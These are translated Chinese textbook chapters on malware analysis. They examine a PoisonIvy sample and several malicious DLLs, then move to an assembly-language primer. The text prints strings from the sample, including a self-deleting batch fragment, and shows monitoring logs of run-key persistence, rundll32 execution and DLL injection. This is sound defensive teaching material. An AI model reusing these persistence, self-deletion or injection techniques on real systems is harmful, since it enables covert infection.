!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
[....REMOVED....]
:over2
If not exist "
" GoTo over1
del "
GoTo over2
:over1
del "
_melt.bat
[....REMOVED....]
Software\Microsoft\Windows\CurrentVersion\Run 

检查导入显示出对 文件系统注册表 相关 API 调用的引用,表明恶意软件能够执行文件系统和注册表操作,如以下输出所示。WinExecShellExecuteA API 调用的存在,表明恶意软件有能力调用其他程序(创建新进程):

kernel32.dll
  [.....REMOVED......]
  SetFilePointer
  SizeofResource
  WinExec
  WriteFile
  lstrcatA
  lstrcmpiA
  lstrlenA
  CreateFileA
  CopyFileA
  LockResource
  CloseHandle

shell32.dll
  SHGetSpecialFolderLocation
  SHGetPathFromIDListA
  ShellExecuteA

advapi32.dll
 RegCreateKeyA
 RegSetValueExA
 RegCloseKey

VirusTotal 数据库查询哈希值显示 58 个杀毒软件的检测,签名名称表明我们可能正在处理一个名为 PoisonIvy 的恶意软件样本。要从 VirusTotal 执行哈希搜索,你需要互联网访问权限,如果要使用 VirusTotal 的公共 API,则需要一个 API 密钥,您可以通过注册 VirusTotal 账户来获取该密钥:

$ python vt_hash_query.py 51d9e2993d203bd43a502a2b1e1193da
Detections: 58/64
VirusTotal Results:
  Bkav ==> None
  MicroWorld-eScan ==> Backdoor.Generic.474970
  nProtect ==> Backdoor/W32.Poison.11776.CM
  CMC ==> Backdoor.Win32.Generic!O
  CAT-QuickHeal ==> Backdoor.Poisonivy.EX4
  ALYac ==> Backdoor.Generic.474970
  Malwarebytes ==> None
  Zillya ==> Dropper.Agent.Win32.242906
  AegisLab ==> Backdoor.W32.Poison.deut!c
  TheHacker ==> Backdoor/Poison.ddpk
  K7GW ==> Backdoor ( 04c53c5b1 )
  K7AntiVirus ==> Backdoor ( 04c53c5b1 )
  Invincea ==> heuristic
  Baidu ==> Win32.Trojan.WisdomEyes.16070401.9500.9998
  Symantec ==> Trojan.Gen
  TotalDefense ==> Win32/Poison.ZR!genus
  TrendMicro-HouseCall ==> TROJ_GEN.R047C0PG617
  Paloalto ==> generic.ml
  ClamAV ==> Win.Trojan.Poison-1487
  Kaspersky ==> Trojan.Win32.Agentb.jan
  NANO-Antivirus ==> Trojan.Win32.Poison.dstuj
  ViRobot ==> Backdoor.Win32.A.Poison.11776
  [..................REMOVED...........................]

5.2 样本的动态分析

为了了解恶意软件的行为,本章讨论了动态分析工具,并遵循以下动态分析步骤:

  1. Windows 虚拟机和 Linux 虚拟机都已恢复到干净的快照。

  2. 在 Windows 虚拟机上,Process Hacker 以管理员权限启动,用于确定进程属性,随后执行了 Noriben Python 脚本(该脚本又启动了 Process Monitor),以检查恶意软件与系统的交互。

  3. 在 Linux 虚拟机上,启动了 INetSim 模拟网络服务,执行了 Wireshark 并配置为捕获网络接口上的网络流量。

  4. 在所有监控工具运行时,恶意软件以管理员权限(右键 | 以管理员身份运行)执行了大约 40 秒。

  5. 40 秒后,Windows 虚拟机上的 Noriben 被停止,Linux 虚拟机上的 INetSim 和 Wireshark 被停止。

  6. 收集并检查了来自监控工具的结果,以了解恶意软件的行为。

在执行动态分析后,通过不同的监控工具确定了以下关于恶意软件的信息:

  1. 执行恶意样本 (sales.exe) 后,创建了一个名为 iexplorer.exe 的新进程,进程 ID 是 1272。进程可执行文件位于 %Appdata% 目录中。以下截图是 Process Hacker 显示的新创建进程的输出:

  1. 通过检查 Noriben 日志,可以确定恶意软件在 %AppData% 目录中放置了一个名为 iexplorer.exe 的文件。文件名 (iexplorer.exe) 与 Internet Explorer (iexplore.exe) 浏览器的文件名相似。这种技术是攻击者有意使恶意二进制看起来像合法可执行文件的一种尝试:
[CreateFile] sales.exe:3724 > %AppData%\iexplorer.exe

放置文件后,恶意软件执行了该文件。由此产生的新进程 iexplorer.exe 就是 Process Hacker 显示的进程:

[CreateProcess] sales.exe:3724 > "%AppData%\iexplorer.exe"

然后,恶意软件放置了另一个名为 MDMF5A5.tmp_melt.bat 的文件,如下输出所示。此时可以推断出我们在静态分析期间找到的 _melt.bat 字符串与另一个名为 MDMF5A5.tmp 的字符串连接在一起,用于生成文件名 MDMF5A5.tmp_melt.bat。生成文件名后,恶意软件将此文件名保存到磁盘上:

[CreateFile] sales.exe:3724 > %LocalAppData%\Temp\MDMF5A5.tmp_melt.bat

然后通过调用 cmd.exe 执行放置的批处理 (.bat) 脚本:

[CreateProcess] sales.exe:3724 > "%WinDir%\system32\cmd.exe /c %LocalAppData%\Temp\MDMF5A5.tmp_melt.bat"

由于 cmd.exe 执行了批处理脚本,原始文件 (sales.exe) 和批处理脚本 (MDMF5A5.tmp_melt.bat) 都被删除,如下代码片段所示。此行为确认了批处理 (.bat) 文件的删除功能(回想一下,在字符串提取过程中发现了删除文件的批处理命令):

[DeleteFile] cmd.exe:3800 > %UserProfile%\Desktop\sales.exe
[DeleteFile] cmd.exe:3800 > %LocalAppData%\Temp\MDMF5A5.tmp_melt.bat

恶意二进制然后将删除文件的路径添加到 RUN 注册表键中以保持持久性,这使得恶意软件能够在系统重新启动后继续运行:

[RegSetValue] iexplorer.exe:1272 > HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HKLM Key = C:\Users\test\AppData\Roaming\iexplorer.exe
  1. Wireshark 捕获的网络流量中可以看到,恶意软件解析了 C2 域并在端口 80 上建立了连接:

端口 80 通信的 TCP 流,如下截图所示,不是标准的 HTTP 流量;这表明恶意软件可能使用了自定义协议或加密通信。在大多数情况下,恶意软件使用自定义协议或加密其网络流量以避开基于网络的签名。您需要对恶意二进制进行代码分析,以确定网络流量的性质。在接下来的章节中,您将学习执行代码分析的技术,以深入了解恶意软件二进制的内部工作原理:

比较放置样本 (iexplorer.exe) 的加密哈希和原始二进制 (sales.exe) 的哈希显示它们是相同的:

$ md5sum sales.exe iexplorer.exe
51d9e2993d203bd43a502a2b1e1193da sales.exe
51d9e2993d203bd43a502a2b1e1193da iexplorer.exe

总结来说,当恶意软件被执行时,它会将自身复制到 %AppData% 目录下,并命名为 iexplorer.exe,然后丢弃一个批处理脚本,该脚本的作用是删除原始二进制文件及其自身。恶意软件接着会在注册表中添加一个条目,以便每次系统启动时都能启动它。该恶意二进制文件可能会加密其网络流量,并使用非标准协议通过端口 80 与 命令与控制(C2) 服务器进行通信。

通过结合静态分析和动态分析,成功地确定了恶意二进制文件的特征和行为。这些分析技术还帮助识别了与恶意软件样本相关的网络和主机基础的指标。

事件响应团队利用从恶意软件分析中确定的指标,创建网络和主机基础的签名,以检测网络上的其他感染。当进行恶意软件分析时,记录下那些能够帮助你或你的事件响应团队检测网络上感染主机的指标。

6. 动态链接库(DLL)分析

动态链接库(DLL) 是一个包含函数(称为 导出函数exports)的模块,这些函数可以被其他程序(如可执行文件或 DLL)使用。可执行文件可以通过从 DLL 导入来使用 DLL 中实现的函数。

Windows 操作系统包含许多导出各种函数的 DLL,这些函数被称为 应用程序编程接口(APIs)。这些 DLL 中包含的函数供进程用于与文件系统、进程、注册表、网络和图形用户界面(GUI)进行交互。

要在 CFF Explorer 工具中显示导出的函数,加载导出函数的 PE 文件并点击 Export Directory。下方的截图展示了 Kernel32.dll 导出的一些函数(它是一个操作系统 DLL,位于 C:\Windows\System32 目录)。Kernel32.dll 导出的一项函数是 CreateFile;该 API 函数用于创建或打开文件:

在下方的截图中,可以看到 notepad.exe 导入了 kernel32.dll 导出的部分函数,包括 CreateFile 函数。当你用记事本打开或创建文件时,它会调用在 Kernel32.dll 中实现的 CreateFile API:

在前面的示例中,notepad.exe 并不需要在其代码中实现创建或打开文件的功能。为了实现这一点,它只需导入并调用在 Kernel32.dll 中实现的 CreateFile API。实现 DLL 的优势在于,其代码可以被多个应用程序共享。如果一个应用程序想要调用 API 函数,它必须先加载导出该 API 的 DLL 副本到其内存空间中。

如果你想了解更多关于动态链接库的知识,请阅读以下文档:support.microsoft.com/en-us/help/815065/what-is-a-dllmsdn.microsoft.com/en-us/library/windows/desktop/ms681914(v=vs.85).aspx

6.1 攻击者为什么使用 DLL

你经常会看到恶意软件作者将他们的恶意代码以 DLL 而非可执行文件的形式分发。以下列出了一些攻击者将其恶意代码实现为 DLL 的原因:

  • 双击无法执行 DLL;DLL 需要一个主机进程来运行。通过将恶意代码分发为 DLL,恶意软件作者可以将他/她的 DLL 加载到任何进程中,包括合法进程如 Explorer.exewinlogon.exe 等。这种技术使攻击者能够隐藏恶意软件的行为,所有恶意活动看起来都是源自主机进程。

  • 将 DLL 注入到已运行的进程中使攻击者能够在系统上持久存在。

  • 当 DLL 被一个进程加载到其内存空间时,DLL 将访问整个进程的内存空间,从而使其能够操纵进程的功能。例如,攻击者可以将 DLL 注入到浏览器进程中,并通过重定向其 API 函数来窃取凭据。

  • 分析 DLL 不像分析可执行文件那样直接,可能更加棘手。

大多数恶意软件样本会释放或下载一个 DLL,然后将该 DLL 加载到另一个进程的内存空间中。加载完 DLL 后,传播者/加载器组件会自行删除。因此,在进行恶意软件调查时,你可能只会找到 DLL。接下来的部分介绍了分析 DLL 的技术。

6.2 使用 rundll32.exe 分析 DLL

要确定恶意软件的行为并通过动态分析监控其活动,理解如何执行 DLL 是至关重要的。如前所述,DLL 需要一个进程来运行。在 Windows 上,可以使用 rundll32.exe 来启动 DLL 并调用 DLL 中导出的函数。以下是使用 rundll32.exe 启动 DLL 并调用导出函数的语法:

rundll32.exe <full path to dll>,<export function> <optional arguments>

rundll32.exe 相关的参数解释如下:

  • DLL 的完整路径: 指定 DLL 的完整路径,该路径不能包含空格或特殊字符。

  • 导出函数: 这是 DLL 中加载后将调用的函数。

  • 可选参数: 参数是可选的,如果提供,则在调用导出函数时将传递这些参数。

  • 逗号: 这是放置在 DLL 的完整路径和导出函数之间的符号。导出函数对于语法的正确性是必需的。

6.2.1 rundll32.exe 的工作方式

理解rundll32.exe的工作原理对于避免在运行 DLL 时发生错误非常重要。当你使用前述命令行参数启动rundll32.exe时,rundll32.exe将执行以下步骤:

  1. 传递给rundll32.exe的命令行参数首先会经过验证;如果语法不正确,rundll32.exe会终止。

  2. 如果语法正确,它会加载提供的 DLL。加载 DLL 后,DLL 的入口点函数将被执行(该函数会进一步调用DLLMain函数)。大多数恶意软件会在DLLMain函数中实现其恶意代码。

  3. 加载 DLL 后,rundll32.exe会获取导出函数的地址并调用该函数。如果无法确定该函数的地址,rundll32.exe将终止。

  4. 如果提供了可选参数,那么在调用导出函数时,这些可选参数将作为参数传递给该函数。

关于 rundll32 接口及其工作原理的详细信息,请参见本文:support.microsoft.com/en-in/help/164787/info-windows-rundll-and-rundll32-interface

6.2.2 使用 rundll32.exe 启动 DLL

在恶意软件调查中,你会遇到不同版本的 DLL。了解如何识别和分析它们对于确定其恶意行为至关重要。以下示例涵盖了涉及 DLL 的不同场景。

示例 1 – 分析一个没有导出的 DLL

每当加载 DLL 时,它的入口点函数都会被调用(该函数会进一步调用其DLLMain函数)。攻击者可以在DLLMain函数中实现恶意功能(如键盘记录、信息窃取等),而无需导出任何函数。

在以下示例中,恶意 DLL(aa.dll)不包含任何导出,这说明所有恶意功能可能都实现于其DLLmain函数中,只有当 DLL 被加载时(从DLL 入口点调用),该函数才会被执行。从以下截图可以看出,恶意软件从wininet.dll导入函数(该库导出了与 HTTP 或 FTP 相关的函数)。这表明恶意软件可能在DLLMain函数内调用这些网络函数,通过 HTTP 或 FTP 协议与 C2 服务器进行交互:

你可能会认为,由于没有导出函数,可以使用以下语法执行一个 DLL:

C:\>rundll32.exe C:\samples\aa.dll

当你使用前述语法运行 DLL 时,DLL 不会成功执行;同时,你也不会收到任何错误提示。原因是,当rundll32.exe验证命令行语法时(第 1 步,详见第 6.2.1 节 rundll32.exe 的工作原理),语法检查未通过。因此,rundll32.exe会在未加载 DLL 的情况下退出。

你需要确保命令行语法正确,才能成功加载 DLL。以下输出中显示的命令应该能够成功运行 DLL。在以下命令中,test 是一个虚拟名称,并没有这样一个导出函数,它只是用来确保命令行语法是正确的。在运行以下命令之前,我们在本章中提到的各种监控工具(Process Hacker、Noriben、Wireshark、Inetsim)已启动:

C:\>rundll32.exe C:\samples\aa.dll,test

运行命令后,收到以下错误信息,但 DLL 已成功执行。在这种情况下,由于语法正确,rundll32.exe 加载了 DLL(步骤 2,第 6.2.1 节 rundll32.exe 的工作原理 中提到)。因此,调用了它的 DLL 入口点 函数(进而调用了 DLLMain,其中包含恶意代码)。然后,rundll32.exe 尝试查找导出函数 test 的地址(这就是 步骤 3,第 6.2.1 节 rundll32.exe 的工作原理 中提到)。由于找不到 test 的地址,显示了以下错误信息。尽管显示了错误信息,DLL 还是成功加载了(这正是我们希望监控其活动的原因):

执行后,恶意软件与 C2 域建立了 HTTP 连接,并下载了一个文件(Thanksgiving.jpg),如下所示的 Wireshark 输出所示:

示例 2 – 分析包含导出函数的 DLL

在这个示例中,我们将查看另一个恶意 DLL(obe.dll)。以下截图显示了该 DLL 导出的两个函数(DllRegisterServerDllUnRegisterServer):

该 DLL 示例通过以下命令运行。尽管 obe.dll 已加载到 rundll32.exe 的内存中,但没有触发任何行为。这是因为 DLL 的入口点函数没有实现任何功能:

C:\>rundll32.exe c:\samples\obe.dll,test

另一方面,通过运行以下带有 DllRegisterServer 函数的示例,触发了与 C2 服务器的 HTTPS 通信。由此可以推断出 DLLRegisterServer 实现了网络功能:

C:\>rundll32.exe c:\samples\obe.dll,DllRegisterServer

以下截图显示了 Wireshark 捕获的网络流量:

你可以编写一个脚本来确定 DLL 中的所有导出函数(如在 第二章 静态分析 中所述),并在运行监控工具时按顺序调用它们。这种技术有助于理解每个导出函数的功能。DLLRunner(github.com/Neo23x0/DLLRunner)是一个执行 DLL 中所有导出函数的 Python 脚本。

示例 3 – 分析接受导出参数的 DLL

以下示例展示了如何分析一个接受导出参数的 DLL。此示例中使用的 DLL 是通过 PowerPoint 传送的,具体描述见此链接:securingtomorrow.mcafee.com/mcafee-labs/threat-actors-use-encrypted-office-binary-format-evade-detection/

DLL(SearchCache.dll)包含一个导出函数_flushfile@16,其功能是删除文件。该导出函数接受一个参数,即要删除的文件:

为了演示删除功能,创建了一个测试文件(file_to_delete.txt),并启动了监控工具。测试文件通过以下命令被传递给导出函数_flushfile@16。运行以下命令后,测试文件被从磁盘中删除:

rundll32.exe c:\samples\SearchCache.dll,_flushfile@16 C:\samples\file_to_delete.txt

以下是 Noriben 日志的输出,显示rundll32.exe删除文件(file_to_delete.txt)

Processes Created:[CreateProcess] cmd.exe:1100 > "rundll32.exe  c:\samples\SearchCache.dll,_flushfile@16 C:\samples\file_to_delete.txt" [Child PID: 3348]

File Activity: [DeleteFile] rundll32.exe:3348 > C:\samples\file_to_delete.txt

为了确定导出函数接受的参数及其类型,您需要执行代码分析。您将在接下来的章节中学习代码分析技巧。

6.3 分析带有进程检查的 DLL

大多数情况下,使用rundll32.exe启动 DLL 时会正常工作,但某些 DLL 会检查它们是否在特定进程下运行(例如explorer.exeiexplore.exe),并且如果它们在其他进程下运行(包括rundll32.exe),可能会改变行为或终止自己。在这种情况下,您需要将 DLL 注入到特定进程中以触发其行为。

使用RemoteDLLsecurityxploded.com/remotedll.php)这样的工具,可以将 DLL 注入到系统中的任何正在运行的进程。它允许通过三种不同的方法注入 DLL;这很有用,因为如果一种方法失败,可以尝试另一种方法。

以下示例中使用的 DLL(tdl.dll)是TDSS Rootkit的一部分。该 DLL 不包含任何导出项;所有的恶意行为都在 DLL 的入口点函数中实现。使用以下命令运行 DLL 时,出现了一个错误,提示 DLL 初始化例程失败,这表明DLL 入口点函数未能成功执行:

为了理解触发错误的条件,进行了静态代码分析(逆向工程)。分析代码后发现,DLL 在其入口点函数中进行了检查,判断它是否在spoolsv.exe(打印机后台处理程序服务)下运行。如果它在任何其他进程下运行,则 DLL 初始化失败:

目前,暂时不用担心如何执行代码分析。您将在接下来的章节中学习如何执行代码分析的技巧。

为触发该行为,恶意 DLL 必须通过 RemoteDLL 工具注入到 spoolsv.exe 进程中。注入 DLL 到 spoolsv.exe 后,监控工具捕获到了以下活动。恶意软件在 C:\ 盘上创建了一个文件夹(resycled)和一个文件 autorun.inf。然后,它将一个文件 boot.com 投放到新创建的文件夹 C:\resycled 中:

[CreateFile] spoolsv.exe:1340 > C:\autorun.inf
[CreateFolder] spoolsv.exe:1340 > C:\resycled
[CreateFile] spoolsv.exe:1340 > C:\resycled\boot.com

恶意软件添加了以下注册表项;从这些添加的项中可以看出,恶意软件在注册表中存储了一些加密数据或配置信息:

[RegSetValue] spoolsv.exe:1340 > HKCR\extravideo\CLSID\(Default) = {6BF52A52-394A-11D3-B153-00C04F79FAA6}
[RegSetValue] spoolsv.exe:1340 > HKCR\msqpdxvx\msqpdxpff = 8379
[RegSetValue] spoolsv.exe:1340 > HKCR\msqpdxvx\msqpdxaff = 3368
[RegSetValue] spoolsv.exe:1340 > HKCR\msqpdxvx\msqpdxinfo =}gx~yc~dedomcyjloumllqYPbc
[RegSetValue] spoolsv.exe:1340 > HKCR\msqpdxvx\msqpdxid = qfx|uagbhkmohgn""YQVSVW_,(+
[RegSetValue] spoolsv.exe:1340 > HKCR\msqpdxvx\msqpdxsrv = 1745024793

以下截图显示了恶意软件在 80 端口上的 C2 通信:

在恶意软件调查过程中,你将遇到仅在被加载为服务时才会运行的 DLL。这类 DLL 被称为 服务 DLL。要完全理解服务 DLL 的工作原理,需要掌握代码分析和 Windows API 知识,这将在后续章节中介绍。

总结

动态分析是一种很好的技术,可以帮助理解恶意软件的行为,并确定其网络和主机相关的指标。你可以使用动态分析来验证在静态分析过程中获得的发现。将静态分析和动态分析相结合,有助于你更好地理解恶意软件的二进制文件。基本的动态分析有其局限性,若要深入了解恶意软件二进制文件的工作原理,就需要进行代码分析(逆向工程)。

例如,本章中使用的大部分恶意软件样本通过加密通信与其 C2 服务器进行通信。通过动态分析,我们仅能确定通信是加密的,但要了解恶意软件如何加密流量以及加密了哪些数据,你需要学习如何进行代码分析。

在接下来的几章中,你将学习执行代码分析的基础知识、工具和技术。

第四章:汇编语言与反汇编入门

静态分析和动态分析是理解恶意软件基本功能的绝佳技术,但这些技术并不能提供关于恶意软件功能的所有必要信息。恶意软件作者通常使用高级语言(如 C 或 C++)编写恶意代码,然后通过编译器将其编译成可执行文件。在你的调查过程中,你只能获得恶意可执行文件,而没有源代码。为了深入了解恶意软件的内部工作原理,并理解恶意二进制文件的关键方面,需要进行代码分析。

本章将介绍进行代码分析所需的概念和技能。为了更好地理解该主题,本章将结合 C 编程和汇编语言编程中的相关概念。为了理解本章涉及的概念,要求你具备基本的编程知识(最好是 C 编程)。如果你不熟悉基本的编程概念,可以从一本入门编程书籍开始学习(可以参考本章末尾提供的附加资源),然后再回来阅读本章。

从代码分析(逆向工程)角度将涵盖以下主题:

  • 计算机基础、内存和 CPU

  • 数据传输、算术运算和位运算

  • 分支和循环

  • 函数和栈

  • 数组、字符串和结构体

  • x64 架构的概念

1. 计算机基础

计算机是一种处理信息的机器。计算机中的所有信息都是通过比特表示的。比特是一个基本单位,它可以取值 01。比特的集合可以表示一个数字、一个字符或任何其他信息。

基本数据类型

一组 8 个比特组成一个字节。一个字节用两个十六进制数字表示,每个十六进制数字是 4 比特大小,称为半字节(nibble)。例如,二进制数 01011101 转换为十六进制是 5D。数字 50101)和数字 D1101)就是这两个半字节

除了字节外,还有其他数据类型,例如 word,它是 2 字节(16 位)大小;double word (dword)4 字节(32 位);quadword (qword)8 字节(64 位):

数据解释

一个字节或字节序列可以有不同的解释。例如,5D 可以表示二进制数 01011101,或者十进制数 93,或者字符 ]。字节 5D 还可以表示一条机器指令,pop ebp

类似地,两个字节序列 8B ECword)可以表示 short int 35820 或一条机器指令,mov ebp,esp

双字(dword)值 0x010F1000 可以解释为一个整数值 17764352,也可以解释为一个内存地址。这完全取决于如何解释字节,字节或字节序列的意义取决于其用途。

1.1 内存

主内存(RAM) 存储计算机的代码(机器码)和数据。计算机的主内存是一个字节数组(十六进制格式的字节序列),每个字节都标有一个唯一的编号,称为 地址。第一个地址从 0 开始,最后一个地址取决于所使用的硬件和软件。地址和值以十六进制表示:

1.1.1 数据在内存中的存储方式

在内存中,数据以 小端 格式存储;也就是说,低位字节存储在较低的地址,后续字节依次存储在内存中逐渐增高的地址:

1.2 CPU

中央处理单元(CPU) 执行指令(也叫 机器指令)。CPU 执行的指令以字节序列的形式存储在内存中。在执行指令时,需要的数据(也以字节序列形式存储)从内存中提取。

CPU 本身在其芯片内包含了一小部分内存,称为 寄存器组。寄存器用于存储在执行过程中从内存中提取的值。

1.2.1 机器语言

每个 CPU 都有一组它可以执行的指令。CPU 执行的指令构成了 CPU 的机器语言。这些机器指令以字节序列的形式存储在内存中,并被 CPU 提取、解释和执行。

编译器 是一种将用编程语言(如 C 或 C++)编写的程序转换为机器语言的程序。

1.3 程序基础

在本节中,你将学习编译过程和程序执行过程中发生的事情,以及程序执行时各个计算机组件如何相互作用。

1.3.1 程序编译

以下列表概述了可执行文件的编译过程:

  1. 源代码是用高级语言编写的,例如 C 或 C++。

  2. 程序的源代码通过编译器进行处理。编译器将用高级语言编写的语句转换为一种称为 目标文件机器代码 的中间形式,这种形式不可读,旨在供处理器执行。

  3. 然后,目标代码会传递给链接器。链接器将目标代码与所需的库文件(DLL)链接,以生成可以在系统上运行的可执行文件:

1.3.2 硬盘上的程序

让我们通过一个示例来理解编译后的程序在磁盘上的样子。我们以一个简单的 C 程序为例,程序将字符串打印到屏幕:

#include <stdio.h>
int main() {
   char *string = "This is a simple program"; 
   printf("%s",string);
   return 0;
}

上述程序经过编译器编译生成了一个可执行文件(print_string.exe)。在 PE Internals 工具中打开已编译的可执行文件(www.andreybazhan.com/pe-internals.html)会显示由编译器生成的五个节(.text.rdata.data.rsrc.reloc)。关于这些节的信息可以在第二章中找到,静态分析部分。这里我们将主要关注两个节:.text.data.data节的内容如下图所示:

在上面的截图中,你可以看到我们在程序中使用的字符串This is a simple program存储在文件偏移量0x1E00.data节中。这个字符串不是代码,而是程序所需的数据。同样,.rdata节包含只读数据,有时也包含导入/导出信息。.rsrc节包含可执行文件使用的资源。

.text节的内容如下图所示:

显示在.text节中的字节序列(具体来说是35个字节,从文件偏移量0x400开始)是机器代码。我们编写的源代码经过编译器转换成了机器代码(或机器语言程序)。机器代码对于人类来说不易阅读,但处理器(CPU)知道如何解读这些字节序列。机器代码包含处理器将执行的指令。编译器将数据和代码分隔到磁盘上的不同节中。为了简化起见,我们可以将可执行文件视为包含代码(.text)和数据(.data.rdata等):

1.3.3 程序在内存中的表现

在上一节中,我们检查了磁盘上可执行文件的结构。现在我们来理解当可执行文件被加载到内存时发生了什么。当双击可执行文件时,操作系统会为进程分配内存,并通过操作系统加载器将可执行文件加载到分配的内存中。以下简化的内存布局图有助于你理解这个概念;请注意,磁盘上可执行文件的结构与内存中的可执行文件结构相似:

在上面的示意图中,堆用于程序执行过程中进行动态内存分配,其内容是可变的。栈用于存储局部变量、函数参数和返回地址。你将在后面的章节中详细了解栈。

前面展示的内存布局大大简化了,组件的位置可以是任何顺序。内存中还包含了各种动态链接库(DLLs),这些在前面的图示中没有展示,为了简化起见。你将在接下来的章节中详细了解进程内存。

现在,让我们回到我们编译后的可执行文件(print_string.exe),并将其加载到内存中。该可执行文件已在x64dbg调试器中打开,调试器将可执行文件加载到了内存中(我们将在后面的章节中介绍x64dbg;现在我们将专注于可执行文件在内存中的结构)。在以下截图中,你可以看到可执行文件已加载到内存地址0x010F0000,并且可执行文件的所有部分也已加载到内存中。需要记住的一点是,你看到的内存地址是虚拟地址,而不是物理内存地址。虚拟地址最终会被转换为物理内存地址(你将在后面的章节中了解更多关于虚拟地址和物理地址的内容):

检查.data部分在内存地址0x010F3000的位置,可以看到字符串This is a simple program

检查.text部分在内存地址0x010F1000的位置,可以看到字节序列,这就是机器码。

一旦包含代码和数据的可执行文件被加载到内存中,CPU 会从内存中取出机器码,解释并执行它。在执行机器指令时,所需的数据也会从内存中提取。在我们的示例中,CPU 从.text部分获取包含指令(在屏幕上打印)的机器码,并从.data部分获取要打印的字符串(数据)This is a simple program。以下图示将帮助你可视化 CPU 和内存之间的交互:

在执行指令时,程序还可能与输入/输出设备交互。在我们的示例中,当程序执行时,字符串被打印到计算机屏幕上(输出设备)。如果机器码中有接收输入的指令,处理器(CPU)将与输入设备(例如键盘)进行交互。

总结一下,程序执行时会执行以下步骤:

  1. 程序(包含代码和数据)被加载到内存中。

  2. CPU 从内存中获取机器指令,解码并执行它。

  3. CPU 从内存中获取所需的数据;数据也可以被写入内存。

  4. CPU 可能会根据需要与输入/输出系统进行交互:

1.3.4 程序反汇编(从机器码到汇编代码)

正如你所预期的,机器码包含了关于程序内部工作的详细信息。例如,在我们的程序中,机器码包含了在屏幕上打印的指令,但对于人类来说,尝试理解机器码(它是以字节序列形式存储的)会非常困难。

一个反汇编器/调试器(如IDA Prox64dbg)是一个将机器码翻译成低级代码(称为汇编代码,即汇编语言程序)的程序,可以被读取和分析,以确定程序的工作原理。下图显示了机器码(.text部分的字节序列)被翻译成表示13条可执行指令(push ebpmov ebp,esp等)的汇编指令。这些翻译后的指令称为汇编语言指令

你可以看到,汇编指令比机器码更容易阅读。注意,反汇编器是如何将字节55翻译为可读的汇编指令push ebp,并将接下来的两个字节8B EC翻译为mov ebp,esp,依此类推:

从代码分析的角度来看,确定程序的功能主要依赖于理解这些汇编指令以及如何解释它们。

在本章的其余部分,你将学习理解汇编代码所需的技能,以便逆向工程恶意二进制文件。在接下来的章节中,你将学习进行代码分析所必需的 x86 汇编语言指令的概念;x86,也称为 IA-32(32 位),是 PC 上最常见的架构。Microsoft Windows 运行在 x86(32 位)架构和 Intel 64(x64)架构上。你将遇到的大多数恶意软件都是为 x86(32 位)架构编译的,并且可以在 32 位和 64 位 Windows 上运行。章节末,你将理解 x64 架构以及 x86 和 x64 之间的区别。

2. CPU 寄存器

如前所述,CPU 包含称为寄存器的特殊存储器。由于 CPU 可以比内存中数据的访问速度快得多,因此从内存中提取的值会暂时存储在这些寄存器中,以便执行操作。

2.1 通用寄存器

x86 CPU 有八个通用寄存器:eaxebxecxedxespebpesiedi。这些寄存器的大小为 32 位(4 字节)。程序可以按 32 位(4 字节)、16 位(2 字节)或 8 位(1 字节)值来访问这些寄存器。这些寄存器的低 16 位(2 字节)可以作为 axbxcxdxspbpsidi 来访问。eaxebxecxedx 的低 8 位(1 字节)可以分别引用为 alblcldl。高 8 位可以通过 ahbhchdh 来访问。在以下示意图中,eax 寄存器包含 4 字节值 0xC6A93174。程序可以通过访问 ax 寄存器来访问低 2 字节(0x3174),通过访问 al 寄存器来访问低字节(0x74),而下一个字节(0x31)则可以通过使用 ah 寄存器来访问:

2.2 指令指针(EIP)

CPU 有一个特殊的寄存器,叫做 eip;它包含下一条指令的地址。当指令执行时,eip 将指向内存中下一条要执行的指令。

2.3 EFLAGS 寄存器

eflags 寄存器是一个 32 位的寄存器,寄存器中的每一位都是一个标志EFLAGS 寄存器中的位用于指示计算的状态,并控制 CPU 操作。标志寄存器通常不会直接引用,但在执行计算或条件指令时,每个标志位都会被设置为 10。除了这些寄存器外,还有一些其他寄存器,称为段寄存器csssdsesfs,和 gs),它们用于跟踪内存中的各个段。

3. 数据传输指令

汇编语言中的基本指令之一是 mov 指令。顾名思义,这条指令将数据从一个位置移动到另一个位置(从源位置到目标位置)。mov 指令的一般形式如下;这类似于高级语言中的赋值操作:

mov dst,src

mov 指令有不同的变体,接下来将会介绍。

3.1 将常量移入寄存器

mov 指令的第一种变体是将一个常量(或立即数值)移动到寄存器中。在以下示例中,;(分号)表示注释的开始;分号后面的内容不属于汇编指令。这只是一个简短的描述,帮助你理解这个概念:

mov eax,10  *; moves 10 into EAX register, same as eax=10*
mov bx,7    *; moves 7 in bx register, same as bx=7*
mov eax,64h *; moves hex value 0x64 (i.e 100) into EAX*

3.2 从寄存器到寄存器的值传送

将一个值从一个寄存器传送到另一个寄存器,可以通过将寄存器名称作为操作数放置到 mov 指令中来实现:

mov eax,ebx *; moves content of ebx into eax, i.e eax=ebx*

以下是两条汇编指令的示例。第一条指令将常量值 10 移入 ebx 寄存器。第二条指令将 ebx 寄存器的值(即 10)移入 eax 寄存器;因此,eax 寄存器将包含值 10

mov ebx,10  *; moves 10 into ebx, ebx = 10*
mov eax,ebx *; moves value in ebx into eax, eax = ebx or eax = 10*

3.3 从内存到寄存器的值传送

在查看将值从内存移动到寄存器的汇编指令之前,我们先尝试理解值是如何存储在内存中的。假设你在 C 程序中定义了一个变量:

int val = 100;

以下列表概述了程序运行时发生的事情:

  1. 整数占用 4 个字节,因此整数 100 作为 4 个字节(00 00 00 64)存储在内存中。

  2. 四个字节的顺序是按照之前提到的小端格式存储的。

  3. 整数 100 存储在某个内存地址。假设 100 存储在从 0x403000 开始的内存地址中;你可以将这个内存地址看作是标记为 val

要将一个值从内存移动到寄存器中,你必须使用该值的地址。以下汇编指令将把存储在内存地址 0x403000 处的 4 字节移入寄存器 eax。方括号表示你要的是存储在该内存位置的值,而不是地址本身:

mov eax,[0x403000] *; eax will now contain 00 00 00 64 (i.e 100)*

请注意,在前面的指令中,你不需要在指令中指定 4 字节;根据目标寄存器(eax)的大小,它会自动确定移动多少字节。以下截图将帮助你理解执行前述指令后的情况:

在逆向工程中,你通常会看到类似下面的指令。方括号中可能包含一个寄存器一个加到寄存器上的常量,或者一个寄存器加到另一个寄存器上。所有以下图示的指令都将把存储在方括号中指定的内存地址的值移动到寄存器中。最简单的记法是,方括号中的一切都代表一个地址:

mov eax,[ebx]     *; moves value at address specifed by ebx register*
mov eax,[ebx+ecx] *; moves value at address specified by ebx+ecx*
mov ebx,[ebp-4]   *; moves value at address specified by ebp-4*

另一个你通常会遇到的指令是 lea 指令,表示加载有效地址;这条指令将加载地址,而不是值:

